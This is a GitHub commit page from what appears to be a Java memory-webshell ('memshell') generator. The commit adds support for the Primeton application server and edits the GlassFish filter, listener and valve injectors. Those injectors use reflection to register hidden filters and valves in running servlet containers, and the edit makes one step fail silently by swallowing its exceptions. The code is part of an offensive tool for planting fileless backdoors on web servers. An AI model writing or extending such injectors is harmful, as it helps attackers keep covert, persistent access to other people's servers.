Skip to content

Commit 771d4e3

Browse files
committed
feat: support Primeton App Server
1 parent 14a1834 commit 771d4e3

File tree

4 files changed

+17
-15
lines changed

4 files changed

+17
-15
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,11 @@ public enum Server {
131131
*/
132132
InforSuite(new InforSuiteShell()),
133133

134+
/**
135+
* 普元中间件
136+
*/
137+
Primeton(new GlassFishShell()),
138+
134139
/**
135140
* XXL-JOB
136141
*/

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -53,9 +53,7 @@ public List<Object> getContext() throws Exception {
5353
Collection<?> values = childrenMap.values();
5454
for (Object value : values) {
5555
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
56-
for (Object context : children.values()) {
57-
contexts.add(context);
58-
}
56+
contexts.addAll(children.values());
5957
}
6058
}
6159
}
@@ -99,12 +97,15 @@ public void inject(Object context, Object filter) throws Exception {
9997
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
10098
}
10199

102-
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
103-
constructors[0].setAccessible(true);
104-
Object filterConfig = constructors[0].newInstance(context, filterDef);
105-
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
106-
filterConfigs.put(filterName, filterConfig);
107-
log.info("filter added successfully");
100+
try {
101+
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
102+
constructors[0].setAccessible(true);
103+
Object filterConfig = constructors[0].newInstance(context, filterDef);
104+
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
105+
filterConfigs.put(filterName, filterConfig);
106+
log.info("filter added successfully");
107+
} catch (Exception ignored) {
108+
}
108109
}
109110

110111
@SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -50,9 +50,7 @@ public List<Object> getContext() throws Exception {
5050
Collection<?> values = childrenMap.values();
5151
for (Object value : values) {
5252
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
53-
for (Object context : children.values()) {
54-
contexts.add(context);
55-
}
53+
contexts.addAll(children.values());
5654
}
5755
}
5856
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -46,9 +46,7 @@ public List<Object> getContext() throws Exception {
4646
Collection<?> values = childrenMap.values();
4747
for (Object value : values) {
4848
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
49-
for (Object context : children.values()) {
50-
contexts.add(context);
51-
}
49+
contexts.addAll(children.values());
5250
}
5351
}
5452
}

0 commit comments

Comments
 (0)